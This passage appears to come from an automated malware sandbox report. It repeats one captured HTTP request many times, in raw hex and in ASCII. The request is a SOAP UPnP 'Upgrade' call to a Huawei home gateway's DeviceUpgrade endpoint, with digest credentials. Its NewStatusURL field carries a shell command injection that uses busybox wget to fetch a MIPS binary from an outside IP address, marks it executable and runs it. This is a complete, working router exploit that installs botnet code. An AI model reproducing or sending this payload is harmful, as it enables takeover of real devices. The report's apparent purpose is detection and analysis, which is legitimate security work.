3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.94.186.250 -l /tmp/kh -r /..23091t/mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 39 34 2e 31 38 36 2e 32 35 30 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 2e 2e 32 33 30 39 31 74 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.94.186.250 -l /tmp/kh -r /..23091t/mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 39 34 2e 31 38 36 2e 32 35 30 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 2e 2e 32 33 30 39 31 74 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.94.186.250 -l /tmp/kh -r /..23091t/mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 39 34 2e 31 38 36 2e 32 35 30 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 2e 2e 32 33 30 39 31 74 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.94.186.250 -l /tmp/kh -r /..23091t/mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 39 34 2e 31 38 36 2e 32 35 30 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 2e 2e 32 33 30 39 31 74 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.94.186.250 -l /tmp/kh -r /..23091t/mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 39 34 2e 31 38 36 2e 32 35 30 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 2e 2e 32 33 30 39 31 74 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.94.186.250 -l /tmp/kh -r /..23091t/mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 39 34 2e 31 38 36 2e 32 35 30 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 2e 2e 32 33 30 39 31 74 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.94.186.250 -l /tmp/kh -r /..23091t/mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 39 34 2e 31 38 36 2e 32 35 30 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 2e 2e 32 33 30 39 31 74 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.94.186.250 -l /tmp/kh -r /..23091t/mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 39 34 2e 31 38 36 2e 32 35 30 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 2e 2e 32 33 30 39 31 74 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.94.186.250 -l /tmp/kh -r /..23091t/mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 39 34 2e 31 38 36 2e 32 35 30 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 2e 2e 32 33 30 39 31 74 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.94.186.250 -l /tmp/kh -r /..23091t/mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
